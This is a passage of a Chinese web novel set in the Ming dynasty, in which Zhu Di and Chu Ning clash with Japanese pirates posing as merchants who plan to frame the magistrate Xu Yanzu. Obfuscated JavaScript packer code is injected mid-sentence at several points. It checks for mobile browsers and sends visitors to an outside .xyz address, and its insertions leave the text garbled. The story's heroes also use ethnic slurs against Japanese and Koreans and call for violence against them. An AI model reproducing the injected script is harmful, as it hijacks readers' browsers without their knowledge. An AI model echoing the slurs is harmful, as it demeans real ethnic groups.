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“如果父皇打算推广松阳县的产业覆盖整个大明,少不了一场暴力血腥的**,但是这样不仅会有损国家根本,而且实施起来的难度,遭遇到的阻力也不是一般的大,一着不慎很有可能会将我大明彻底倾覆。” 正所谓透过现象看本质,朱棣这话绝对不是危言耸听。 虽然徐彦祖从未在朱棣面前真正教过什么,但是朱棣却能从松阳县诸多和大明不同的政策中,看出问题。 这些话在马皇后的眼中,正是朱棣好学的体现。 “看起来老四你这半个月来跟在徐彦祖身边还当真学到了不少东西,让你来这松阳县还真是来对地方了。” 马皇后十分欣慰。 毕竟朱标是自己的骨肉,为娘的自然乐于看到儿子的优秀。 “对了!” 马皇后想到了什么,起身拿出书信放在朱棣面前。 “老四,你将这些天在徐彦祖身边的所见所闻,还有你领悟到的东西全都整理清楚,写在书信上面,待下一次和我的信件一同传回你父皇那,必然能够让你父皇对你大加赞赏。” 这话让朱棣双眼一亮,他连忙接过纸笔事无巨细地写了起来。 毕竟朱元璋派朱棣到松阳县就是来学东西的,如今儿子学到了东西,那朱元璋这个当老子的岂会吝啬自己的奖赏。 更何况,朱棣一直都想在朱元璋的面前表现自己,如今正是一个不错的机会。 将书信写好留在马皇后这里后,朱棣就回到了房中。 不过一想到刚才自己对褚宁那般不好的态度,还有说的错话,朱棣心中就十分愧疚。 “不行,好歹褚宁也是我的妹妹,虽然如今还不能相认,但我得去找她道个歉,不然难免我们兄妹之间会有间隙。” 想到这一点,朱棣甚至打消了休息的念头,径直出门就打算去找褚宁道歉。 然而刚刚走出酒店之时,朱棣的耳边就传来一道贬低的声音。 “不过就是区区一个县城,弹丸之地而已,竟然敢阻拦我们这些尊贵的东瀛商使,难道这就是你们大明的待客之道?” “小姑娘,正所谓,识时务者为俊杰,今晚陪陪本人,本人给你大大的赏赐!” 这声音落入朱棣的耳中十分刺耳,他偏过头看去,正好看到一群东瀛人正围在酒店的门口,对酒店的迎宾小姐出言不逊。 这让朱棣的神色顿时冷了下来。 就在他打算上前动手的时候,突然听到不远处传来一道熟悉的怒喝声:“给姑奶奶我住手,谁敢放肆!” 只见褚宁正带着一群衙役往这边而来。 那群东瀛人见到褚宁带着衙役气势汹汹而来,非但没有收敛,反而一个个脸上带着得意的笑。 “看到没有,我们乃是远道而来的东瀛贵客,你们县令这么快就派人来迎接我们了,你还不让我们入住,真是胆大包天。” 一开始开口的那个东瀛人神色无比不屑。 迎宾小姐听到这话,神色无比古怪,整个松阳县都有一个不成文的规矩,那就是东瀛人和狗不得入内。 这可是县令大人亲自当着全县人说的,而且这些年来松阳县也拒绝了所有和东瀛有关的合作。 所以,褚宁带着人过来的目的已经很明显了。 当然,迎宾小姐在东瀛人这里受了气,自然不会把这一点告诉他们。 而这群东瀛人神色傲慢,就站在原地等着褚宁带着人走到面前。 不等褚宁开口,领头的东瀛人就淡淡说道:“回去告诉你们县令,不必大费周折派人来迎接我们,我们是来做生意的,可却连个酒店就住不进去,让他今晚亲自登门道歉。” 身后的东瀛人纷纷点头,随后还有人补充道:“还必须好酒好菜都伺候我们,这个迎宾小姐今晚上也必须来。” 东瀛人说的这些话,让褚宁眉头紧皱,她看向一旁的迎宾小姐问道:“你没让他们进去?” 迎宾小姐如同小鸡啄米一般使劲点头。 “放心吧大姐大,县令大人有过通知,这酒店东瀛人与狗不得入内,我不会坏了规矩的。” 褚宁这才放下心来,她拍了拍迎宾小姐的肩膀,对其竖起了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770183|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拇指夸奖道:“做的好,回去告诉你们经理,让他给你升职加薪,就说是我吩咐的。” 迎宾小姐顿时大喜,连忙躬身谢道:“多谢大姐大!” 然而,两人的对话落入东瀛人的耳里,让这些人顿时面色愤怒。 领头那人已经看明白了,褚宁带着衙役过来,可不是来迎接自己的,相反,从褚宁二人的话中能够听出这个地方对东瀛人的恶意。 但他一想到自己的身份,东瀛远道而来的商人。 这样的身份对于大明的任何一个县城都具有十足的吸引力,他们途经了数个县城,每一个县城的官员对他们都是礼遇有加,想必松阳县也是如此。 因此,领头的东瀛人直接对褚宁质问道:“你们刚才说的话是什么意思?” 谁料,面对东瀛人的询问,褚宁连一个眼神都没有给他,只是对身后的衙役招呼道:“我让你们带的东西带来了吗?” 衙役连连点头,随后两人抬着一块木板来到褚宁面前。 见褚宁忽视自己,那东瀛人无比气愤。 身后的东瀛人更是怒气冲冲的说道:“小野君,这松阳县的人也太无礼了,给她点颜色看看!” 小野君闻言,皱了一下眉头:“山本太二,你知道的,我从来不打女人。” 然而小野君不想打褚宁,褚宁可早就在一旁摩拳擦掌了。 下一秒,只见褚宁上前一个飞踢,就将山本太二踢飞了数米远,趴在地上哀嚎不止。 褚宁的突然发难,打了这群东瀛人一个措手不及。 反观褚宁,则是拍了拍裤腿,满意的点点头:“不错,这一脚的力度把控的还挺合适。” 这话让一旁的小野君面色一沉。 “阁下这是什么意思?莫非想要挑起两国争端?” 面对小野君扣下来的大帽子,褚宁满不在乎的说道:“我没什么意思,就是我们松阳县有个风俗习惯,东瀛人与狗不得入内。” 说罢,褚宁没去看小野君和那群东瀛人愤怒的眼神,手往后一扬,高声说道:“给我抬上来!” 第七十三章 狼狈逃走 紧接着,衙役们就将刚才的木板抬到小野君等人面前插在地上。 木板上赫然是东瀛人与狗不得入内五个大字。 面对着赤裸裸的羞辱,这群东瀛人再也无法忍受,当即有人想要出手教训褚宁。 当然,在动手之前,那人还冠冕堂皇的说道:“我要为山本太二报仇!” 结果下一秒,那人就化作一道残影飞了出去,最后不偏不倚的落在山本太二的身边。 依旧是褚宁出脚,一脚就将其踢飞了出去。 这让原本还蠢蠢欲动的东瀛人纷纷愣在原地,上一次褚宁出手是偷袭,所以他们觉得褚宁没什么实力。 可是后面对褚宁出手的这个人,可是他们之中武艺仅次于小野君的人,可也竟然不是褚宁一合之敌,仅仅一招就败北。 一旁的小野君则是愤怒无比,褚宁接二连三打上他队伍里的人,完全就没有把他放在眼里。 “你怎么敢!” 事到如今,小野君也不打算顾及其他,主动对褚宁出手。 可让小野君没想到的是,即便是他出手,也依旧拿不下褚宁。 甚至褚宁还背起一只手,用另外一只手挑衅的朝小野君勾了勾手指。 面对着赤裸裸的羞辱,小野君直接拔出腰间的**,随后朝着褚宁大喝道:“吃我一招!” 然而他刚抬着**冲锋到褚宁的面前,褚宁依旧是风轻云淡的一脚,就将其踢飞了出去。 这一次,褚宁用的力道比之前还要重,直接将小野君踢到了山本太二两人的后面,甚至落在地上之后还往后滚动了几下。 看起来滑稽无比。 在场的东瀛人看到这一幕不禁面面相觑,他们没想到连队伍里武艺高强的小野君也不是眼前这个女子的对手。 同时,看着褚宁一步步朝着他们走来,脸上还带着不怀好意的笑容,他们全都吓的大气都不敢喘,只是一个劲的后退。 而小野君则是狼狈的爬起身,恶狠狠的盯着褚宁,当场就放下了狠话:“我们可是东瀛来的商人,可以给你们这偏僻的小县城带来无穷无尽的财富,你敢这样对我,小心被你们县令知道了治你的罪!” 然而回应他的却是褚宁不屑的笑:“你们东瀛人是不是脑子有问题,没看到我身后站着的是衙门的人?我们县令的态度你们还不清楚?” 此言一出,这群东瀛人的脸色立刻变得难看无比。 随后,褚宁也不打算和他们多说,对着手下的衙役下令道:“把这群人全都给我抓起来,关进大牢。” 一听到褚宁竟然打算将自己等人全都抓进大牢,小野君神色瞬间大变,从刚才发生的事情来看,虽然不知道为什么这个县城对东瀛人会如此排斥,但是想必被抓进大牢之中一定不会有什么好的后果。 于是,不等衙役上前,小野君从包里掏出一颗宝石往褚宁面前丢了过去。 同时还对着身边围观看戏的吃瓜群众喊道:“那里有价值连城的宝石,快去抢!” 话音刚落,围观群众就纷纷朝着褚宁冲去,而小野君也趁此机会叫上周围的东瀛人趁乱逃离。 褚宁本来打算上前追赶,岂料围观群众将她团团围住,只能眼睁睁看着小野君一行人逃走。 这也让褚宁无比气愤。 “你说你们,就非要等我下命令才上前,早一点上前将人围住,他们不就跑不了了吗?” 褚宁对这些衙役也是一副恨铁不成钢的语气。 不过就在这个时候,褚宁发现不远处站着朱棣,而且看朱棣那泰然自若的样子,很明显就是目睹了全过程,所以没有和围观群众一样跟个无头苍蝇一般问个不停。 这让褚宁顿时气不打一处来。 她径直走到朱棣的身前,对其质问道:“外甥,你是不是早就在这附近目睹了事情的经过?” 朱棣点点头。 见朱棣承认,褚宁立刻火力全开,她指着朱棣的鼻子骂道:“既然你早就在这里,那你为什么见到迎宾小姐被欺负了不上前动手,你还是个男人吗?” “我看你根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773378|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就是一个怂包,有你这样的侄子,我真是丢脸!” 朱棣没想到褚宁竟然会迁怒自己。 他本来想和褚宁解释,自己不是不想动手,只是还没来得及动手褚宁就带着人来到了这里。 可是他转念一想,自己不管动不动手,最后的结局都不会改变。 而且褚宁身为自己的妹妹,左一口外甥,右一口,简直是没大没小,这也让朱棣对褚宁多了些不满的情绪。 尽管他的本意是打算来找褚宁道歉,可是如今褚宁这不分青红皂白的样子,分明就无法沟通交流。 于是,朱棣解释的话语到了嘴边也变了味道,有些口不对心了起来! 他对褚宁冷冷地说道:“这件事和我有什么关系,更何况那些人乃是邻国东瀛远道而来的商人。他们只是为了同松阳县贸易往来,并没有做出太出格的事情,倘若我刚才出手,以我钦差大臣之子的身份,这件事就会上升到两个国家之间的矛盾,甚至还会有损国体。” 朱棣自认为给褚宁的解释已经十分合理,挑不出一丝毛病。 然而褚宁听到这话,胸中的怒火瞬间就被点燃。 她将朱棣拽到刚才插下的木牌面前,指着木牌一字一句的说道:“看到没有,东瀛人与狗不得入内,那些东瀛鬼子也能算得上商人?和他们起冲突就会有损国体?” “在我看来,有损国体的事情我没有看到,但是一个懦夫,有损我松阳县形象的人倒是看到了!” 褚宁的话让朱棣察觉到了其中的问题,为何松阳县会对东瀛有这么大的恶意。 他不禁问道:“为什么你们不和东瀛人做生意?” 面对朱棣的询问,褚宁没好气的说道:“我们何止是不和东瀛人做生意,还有高丽国的那些棒子,我们也不会和他们做生意,这两国的人只要出现在松阳县,姑奶奶见一次打一次!” 这话让朱棣更加疑惑了,正所谓和气生财,不管是东瀛还是高丽,每年都和大明有贸易往来,也没见两国做出什么出格的事情。 第七十四章 其中缘由 “这是为何?与他国进行贸易往来所输送的利益,可比和周边县城贸易往来要赚得多。” 朱棣疑惑不解,他想不明为什么徐彦祖会这样做。 要知道朱棣跟随在徐彦祖身边这么长的时间,对徐彦祖的脾气秉性也有了一些了解。 在他看来,人无完人,徐彦祖也是如此,而徐彦祖有一个最大的缺点就是贪财! 但徐彦祖贪来的钱财最后又会全部落到百姓的头上,也正因为如此,徐彦祖可不会放过任何一个可以赚钱的机会。 因此拒绝和东瀛高丽两国贸易往来,明显不符合徐彦祖的行事风格。 见朱棣百思不得其解,褚宁刚才骂了朱棣一顿后气也消了大半。 毕竟这件事情也不能全怪到朱棣的头上。 于是,褚宁便对着朱棣解释起来:“徐彦祖不和这两国的人有贸易往来自然是因为这两国的人不靠谱。” “先拿**来说吧,你别看现在高丽国对大明俯首称臣,但是只要朝廷去细查,就能够发现高丽一直都没有安分守己,暗中联合北元搞破坏,试想一下,如果不是如今大明国力强盛,压得住高丽国,只怕高丽那边早就反水了。” 此言一出,朱棣面对也随之一变。 他还当真不知道高丽国的狼子野心已经到了这等地步,竟然暗中联合北元对付大明。 要知道每年进献贡品,高丽国都是最早的那一批,一直以来给大明这边呈现的样子都是俯首称臣,没有一点异心,看起来都是为了麻痹大明。 “如此看来,这高丽国岂不是就像暗中隐藏的毒蛇一般,一着不慎就会反咬大明一口,那东瀛呢?莫非也是怀有二心?” 朱棣继续问道。 此事非同小可,朱棣已经决定要上奏朱元璋。 “东瀛鬼子?” 说到东瀛之时,褚宁脸上就多了些愤恨之色。 “东瀛鬼子是比**还要让人生厌的东西,简直连人都算不上,看起来我大明和东瀛相安无事,可你去沿海打听打听,那些东瀛鬼子肆意侵扰沿海,烧杀抢掠无恶不作,虽然我没有亲身经历过,但是光是想想这些行径,就令人发指!” 沿海烧杀抢掠? 朱棣眉头微皱,此事他倒是有所耳闻,可并不像褚宁说的这般。 “据我所知,侵袭沿海百姓的人,都是被东瀛驱逐出去的倭寇啊?” 朱棣也是将心中的疑问说了出来。 褚宁一听这话,顿时就气消了。 她指着自己的脑袋对朱棣不屑说道:“我怎么会有你这么笨的侄子,麻烦你动动自己的脑子好好想一想,那些侵扰沿海的倭寇到底有没有被东瀛驱逐,还不全凭人家一张口,倘若没有东瀛鬼子在后面支持,那么倭寇能够胡作非为那么多年?” 褚宁的话让朱棣浑身猛的一震。 的确如同褚宁说的这般,倘若那些倭寇后面没有人支持的话,早就被沿海的水师干掉了,而最有可能支持他们和沿海水师对抗的,也就只剩下东瀛国了! “真是可恶,这东瀛鬼子竟然如此可恨!我一定要上奏朝廷,让朝廷发兵剿灭东瀛鬼子!” 朱棣此刻心中对东瀛鬼子也只剩下了愤怒。 见状,褚宁淡淡说道:“你以为朝廷不知道这些事情?你以为就凭你一个钦差大臣之子的身份能够让朝廷发兵?你也把自己看的太重要了。” 褚宁这话让朱棣噎了一下,他总不可能和褚宁说自己是朝廷的燕王,是朱元璋的儿子吧。 见朱棣沉默,褚宁无奈感叹道:“只可惜放跑了这些东瀛鬼子,要是徐彦祖在这里的话就好了。” “徐县令来了会怎么样?” 朱棣有些好奇。 褚宁看了他一眼,语不惊人死不休:“要是徐彦祖在这里,当看到这些东瀛鬼子的瞬间,就会直接提剑把他们全都给砍了!” 朱棣吓了一跳,可他一想到徐彦祖那天不怕地不怕的性格,加上徐彦祖连朱元璋都敢当街辱骂,做出这样的事情还真不算奇怪。 见褚宁还在一旁为放走东瀛鬼子而郁闷,朱棣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773379|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁打趣道:“褚姑娘还真是疾恶如仇,可惜现如今我这两手空空,不然一定要和褚姑娘斩鸡头烧黄纸拜把子,我当兄长你当妹妹。” 褚宁闻言,不屑一顾的瞥了朱棣一眼。 “你小子可别想占我便宜,你以为我不知道你打的什么算盘,你是想跟我拜把子之后好压我一头,但是你可别忘了,只要郑大姐一天和我是姐妹,那我就一天是你的小姨,这个外甥侄子你就好好当着吧。” 这话逗的朱棣哈哈大笑起来。 如今他也看开了,褚宁是自己的妹妹,两人迟早都要相认,何必计较一个称呼呢,自己的娘亲马皇后不也和褚宁以姐妹相称。 有些时候,堵在心中的念头在某一刻就会彻底通达,如今的朱棣正是这样。 此刻朱棣只感觉自己浑身上下舒坦无比,神清气爽。 他对褚宁做出邀请:“还要多谢小姨告知我东瀛高丽的真实情况,我请小姨去酒楼撮一顿如何,就当作我的赔礼道歉了。” 褚宁一听朱棣要请自己吃饭,当即点头答应:“没问题,不过去哪吃,吃什么可要我说了算!” 朱棣哭笑不得,他请褚宁吃饭,没想到褚宁竟然还要反客为主。 不过毕竟是自己的妹妹,索性也就由她去了。 “这是自然。” 褚宁也没有带着朱棣前往大酒楼吃饭,而是在路边找了一家实惠便宜的店。 由此可见,褚宁虽然大大咧咧,可心肠不坏。 一进门,褚宁就对着掌柜的喊道:“掌柜的,今日我可是带着大主顾来吃饭,别给他省钱,你这招牌拿手的菜都给我上几个,还有酒,必须得是陈年老酒,最好是二十年份的,他请客!” 说完,褚宁朝朱棣嘿嘿笑道:“大侄子,你会喝酒吧?” 朱棣点点头,身为男子汉大丈夫,岂有不会喝酒之理。 闻言,褚宁满意的拍了拍朱棣的肩膀夸道:“不错,会喝酒就行,你不知道这段时间跟你娘亲整日喝茶,我的嘴里都快淡出只鸟来了!” 第七十五章 遭遇驱逐 这样粗鲁的话从褚宁这样的芳龄少女口中说出,简直是违和感满满,也让朱棣满脸黑线。 不过很快,朱棣就被店家上的酒菜给吸引住了。 不知是他今日和徐彦祖吃糠咽菜,还是这酒菜本就如此美味,闻着那酒菜的香味,朱棣就喉咙滚动,食欲大开。 正好褚宁递过来一只酒碗,两人就着这些菜边吃边喝。 很快,一坛陈年老酒下肚,两人的脸上都多了抹红晕。 朱棣不由惊叹道:“真没想到,褚姑娘的酒量居然如此之好!” 要知道朱棣平日里也算得上喝酒的一把好手,可是和褚宁这个比自己还小的妹妹对饮,竟然只是旗鼓相当! 可见褚宁的酒量有多好。 褚宁也冲朱棣眨了眨眼睛,笑道:“侄子你也不赖嘛,整个松阳县就没几个人喝得过我,现在又多了一个!” “来,干!” 说着,褚宁又给两人的酒碗满上。 “喝!” 一碗接一碗酒水下肚,两人的话匣子也彻底打开。 这一次,两人可算是借着这顿酒,彻底消除了隔阂,甚至因为年纪相差不大的缘故,相谈甚欢。 朱棣望着眼前爽朗的褚宁,脑海中不由自主浮现出以前妹妹小时候乖巧怯懦的模样。 二者可谓是天差地别。 不过在朱棣的心里,其实褚宁变成如今这个模样也不错。 他忍不住夸了一句:“女中豪杰!” “虽然褚姑娘你做事乖张了一些,但是疾恶如仇,爽朗大方,这可比应天府那些王公贵胄家中的小姐要好太多了!” 借着酒劲,朱棣也是对褚宁做出了极高的评价。 闻言,褚宁直接起身端着酒碗坐到朱棣身边,而后一只手搭在朱棣的肩膀上,另外一只手拿着酒碗和朱棣碰了一下。 “你这个人,虽然是朱大善的儿子,但是可比朱大善要让人喜欢的多。你不知道你爹朱大善有多讨厌,天天想着找徐彦祖的麻烦,想要砍徐彦祖的头。但是你就不一样了,你比朱大善尊重徐彦祖,慧眼识珠!” “光凭这一点,你就比那个朱大善强!” 此言一出,朱棣也是哈哈大笑起来。 他没有想到有一天竟然能够从别人的口中听到自己比朱元璋还强的话来。 而且这个人还是朱元璋的女儿,他的妹妹! 随后,两人推杯换盏,喝得不亦乐乎。 正所谓有人欢喜有人愁。 比起褚宁朱棣这边的欢声笑语,之前被褚宁打的落荒而逃的东瀛人可就一片愁云惨雾了。 他们原本以为只是那一家酒店不让他们东瀛人居住,因此在摆脱褚宁之后,他们并没有离开松阳县,而是打算在附近找一家客栈落脚。 可结果松阳县的客栈极为稀少,众人脚都快磨破了,都没有看到客栈的影子。 甚至有些东瀛人直接撂挑子坐在了地上,大口喘着粗气。 “小野君,这荒郊野岭,哪里像是有客栈的样子,要不我们还是回去吧,大不了多花点钱,那酒店开门做生意,总不至于多出钱都不让我们住吧。” 此言一出,其他人也跟着纷纷点头。 “是啊,小野君,那个女的应该已经离开了,大不了我们不找那个什么迎宾小姐的麻烦就是了。” 听到这话,小野君回头冷冷地扫视了众人一眼。 “你们这群蠢货!难道你们当时没有看到那个女人眼中的杀意吗?要不是我急中生智想到了脱身之法,现如今你们全部都要被抓到大牢里去被她折磨致死!” “你们要是想死,那就回去,我不拦着。” 说完,小野君扭头就走。 望着小野君远去的背影,再想到褚宁那一脚一个东瀛人的武艺,加上小野君刚才说的话对众人也是一种威慑。 于是很快就有人爬起来跟在小野君后面。 有一就有二,最终所有人都跟了上去。 很快,就有人指着不远处都一处亮光惊喜的喊道:“你们快看,那里好像是个客栈!” “感谢**庇护,我们终于找到客栈了!” 众**喜过望,就连小野君也长舒一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小野君眸光一冷,山本太二养伤是假,想逃是真。 而且他这话一出,其他大多数东瀛人都开始动摇。 见状,小野君也是冷哼一声,对众人说道:“你们可不要忘记了我们来这里的目的是什么,如今连徐彦祖都没有见到,计划都还没有开始实施,难道就要这样灰溜溜地回去吗?” “回去之后,你们又如何向小泉太郎大人交代!” 第七十六章 真实目的 听到小野君说出小泉太郎的名字,众人神色都有些不自然。 他们并不是什么东瀛来的商人,而是小泉太郎麾下的倭寇,这一次前来松阳县是受了小泉太郎的指使。 扮作商人也只是为了和徐彦祖交易,然后栽赃陷害徐彦祖。 这主意自然是胡惟庸出的。 自打看了徐彦祖的奏折之后,胡惟庸就已经下定决心要弄死徐彦祖,一出手就是杀招。 只要胡惟庸拿到他们和徐彦祖交易的证据,就可以给徐彦祖扣上一个通倭的帽子。 除掉徐彦祖的同时,甚至可以进而对朝堂上剩下的浙东党进行清洗! 只是让这些倭寇没有想到的是,他们这才刚到松阳县,连徐彦祖的面都还没有见到,就吃了一个大亏。 “小野君,都怪山本太二调戏那个迎宾小姐,要不然别人也不会不让我们入住,更不可能引来衙役的人。” 有东瀛人指责起了山本太二。 “没错,这件事全怪山本太二,他应该**自尽以死谢罪来弥补他犯下的过失!” 将矛头指向山本太二后,立刻就有人叫嚣着要让山本太二**自尽。 此言一出,山本太二顿时就不乐意了。 “八嘎!明明是这个酒店不接待东瀛人,就算我不调戏那个迎宾小姐,你们也住不进去,这件事不能完全怪我!” 说着,山本太二起身对小野君郑重其事的说道:“小野君,我的人格受到了侮辱,我要和他决斗!” 随后山本太二就将腰间的**拔了出来。 见状,小野君不耐烦的呵斥道:“都给我住手!都什么时候了,还在内斗,事到如今只能想其他办法接近徐彦祖。” 小野君一发话,众人立刻就安静了。 气氛一时间寂静无声,所有人都低着头冥思苦想起来。 不过众人都想不到什么好办法,最终还是小野君拍板做主:“今晚就地休整,明日一早直接以我们东瀛商人的身份去见徐彦祖,只要我们将交易的东西拿出来,就不信徐彦祖他不心动。” 在来松阳县之前,小野君就已经在其他县城的官员口中得知徐彦祖是一个爱财之人,所以在他看来,只要见到徐彦祖拿出交易的宝物,徐彦祖一定会和他们交易。 次日一早,天色刚亮,小野君一行人就抖掉身上的落叶,急忙朝着县衙而去。 如今已经快要入秋,松阳县的晚上寒意逼人,这一晚可把这群东瀛人冻的跟个孙子一般瑟瑟发抖。 然而等到众人来到县衙之后,本想借此机会进县衙暖暖身子,可却被看守的衙役告知徐彦祖还没有睡醒。 “县令大人每日都要睡到日上三竿才醒,各位还是先回客栈酒店休息片刻后再来吧。” 衙役客气说道。 这让众人一阵无语。 他们要是有住的地方,何至于大清早就来找徐彦祖。 可是看衙役那个样子,又不太可能放他们进去。 万般无奈之下,小野君一行人只能站在衙门外面等候。 一直到太阳升起,街上人流开始走动之后,小野君这才上前请求衙役通报。 并且为了能够见到徐彦祖,小野君还花费了二两银子当作跑腿费。 与此同时,即使太阳已经照射进房间中,徐彦祖还沉浸在美梦之中。 见徐彦祖依旧还在呼呼大睡,衙役爷没敢吵醒徐彦祖,他回到衙门口对小野君等人说道:“县令大人还没睡醒,你们在多等一会儿。” 闻听此言,小野君当即就不乐意了。 他们自打来到县衙之后,都已经等了三个时辰了,结果现在还要等! “纳尼?八嘎!你知道我们这三个时辰是怎么过来的吗?” 小野君双眼猛的一瞪,说着就要往县衙里面闯。 其他东瀛人也纷纷上前,嚷嚷着要见徐彦祖。 虽然有衙役阻拦,但是这吵闹声也传入了县衙中,吵醒了还在睡梦中的徐彦祖。 “谁!大清早的嚷嚷什么!” 徐彦祖烦躁的走出房门,叉着腰朝外喊道。 听到徐彦祖的声音后,衙役连忙小跑进来,对其解释道:“县令大人,外面来了一群商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782177|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,嚷嚷着要见您,和您交易。” “商人?” 徐彦祖眉头一皱,大清早被人扰了清梦,心中烦闷无比。 但是身为县令,徐彦祖还是分得清轻重缓急,于是便不耐烦说道:“让他们去偏厅等候,我稍后就来。” 又足足让东瀛人等候了一刻钟的时间,徐彦祖这才洗漱穿戴整齐而来。 然而当他看到小野君一行人的样子后,目光不由一凝。 他如何看不出来眼前这些人都是东瀛鬼子。 不过保险起见,徐彦祖还是率先开口问道:“你们可是从东瀛来的?” 面对徐彦祖的询问,众人没想到徐彦祖竟然能够看出自己等人的来历,不禁猜想徐彦祖之前是不是和东瀛人做过交易。 因此纷纷点头道:“县令大人,我们正是从东瀛而来,这一次专门来贵县和县令大人做生意。” “找我做生意?” 徐彦祖不屑一顾,随即喊来衙役。 当着东瀛人的面对其训斥道:“下次不要什么阿猫阿狗都放进来,我很早就说过,东瀛鬼子**不得入内,给我将他们轰出去,别污了脚下这块风水宝地。” 说罢,徐彦祖转身就要离开。 小野君等人见状,不由面面相觑,他们实在没有想到徐彦祖竟然和昨日见到的那个女子是一样的态度,对他们这些东瀛人有着极大的厌恶。 可徐彦祖都已经见到了,眼看着计划有进展都可能,小野君怎么可能就这么轻易放弃。 他连忙上前拦住徐彦祖,从怀中掏出一个精美的盒子递上,同时俯身将姿态放的很低。 “县令大人,贵县的名声我们远在东瀛兜有所耳闻,更知道这一切都是因为县令大人您英明神武的领导,这一次我们不仅仅是想要和您做生意,更是专程为了膜拜您而来!” “这盒子里面的东西,就是我们为了膜拜您特意准备的礼物,听闻你们这边有句古话叫买卖不成仁义在,还请县令大人收下!” 小野君说完,食指一动将盒子打开,只见里面整齐地摆放着三根金锭。 第七十七章 琉璃?玻璃 不得不说,这三根金锭可让小野君下血本了。 而且这可不是五十两的份额,是足足一百两的份额! 三根就是三百两,换成白银那就是三千两白银! 要知道一个七品知县一年的俸禄也不过几十两,小野君这一出手就是徐彦祖三十年的工资。 在来之前他就打听到徐彦祖喜欢黄金,因此这才特意准备了这个东西。 岂料,徐彦祖的目光自始至终都没有落在他的身上,他那诚恳的话根本就没有影响徐彦祖的脚步。 等到小野君话语落下之后,徐彦祖淡然从他身边走过,没有丝毫的留恋。 不过就在这个时候,褚宁和朱棣破门而入。 “徐彦祖,你是不知道昨天发生了什么,真是气死……” 当褚宁看到小野君等人的时候,话音戛然而止,取而代之的满脸都怒火。 “好啊,真是踏破铁鞋无觅处,得来全不费功夫,我找你们找了一晚上,没想到你们竟然跑到县衙来自投罗网了!” “衙役给我关门!今日绝对不能放这群东瀛鬼子逃跑。” 褚宁撸起袖子,气势汹汹地朝着那群都东瀛人走去。 朱棣也是神色一冷,跟在褚宁身后,甚至将腰间的剑给拔了出来。毕竟对于褚宁来说,眼前这些东瀛人只是让她不喜,可对于朱棣而言,这些人就是大明的敌人! 而小野君等人看到褚宁都同时神色也猛的一变,他们可没有忘记昨日褚宁大发神威将他们打的落荒而逃,本来以为可以绕过褚宁和徐彦祖做生意,谁承想如今竟然成了瓮中捉鳖,主动往褚宁怀里钻。 而这县衙又避无可避,想跑已然不可能,等待他们的必定是一场毒打。 小野君看着褚宁一步一步逼近,虽然心中惶恐,但还是硬着脖子说道:“我们是来找县令大人做生意的,你不能对我们动手!” 听到这话,褚宁狐疑的朝徐彦祖看了一眼。 徐彦祖对此则是微微摇头,不过也对褚宁招了招手。 “褚宁小四你们过来,究竟发生了什么事?” 徐彦祖对这群东瀛人自然不喜,但是看褚宁这副样子,明显昨晚遇到过,因此徐彦祖想打探清楚后再对这些东瀛人动手。 同时,徐彦祖也对身边的衙役吩咐道:“看好他们,跑了一个我拿你是问。” 随后,褚宁也是将昨晚发生的事情和徐彦祖复述了一遍,并且还愤愤不平道:“徐彦祖,你是没有看见,昨天那个迎宾小姐都被他们欺负成什么样了,要不是我及时赶到,只怕那迎宾小姐就要遭他们的毒手了!” “这件事你可不能不管,就算你不管,也不能拦我,我今日非要将他们几个揍成猪头领到酒店门口谢罪。” 知晓了事情的来龙去脉之后,徐彦祖隐隐察觉到了一丝不对。 按照常理来说,倘若这些东瀛人来松阳县的目的当真是为了经商,被褚宁恐吓一番之后,是绝无可能再来松阳县的。 毕竟商人都是趋吉避凶,一个地方不成就换下一个地方。 可为何执着于和他做生意呢? 在徐彦祖心里,对于这些东瀛鬼子,永远都会往最坏的地方去想。 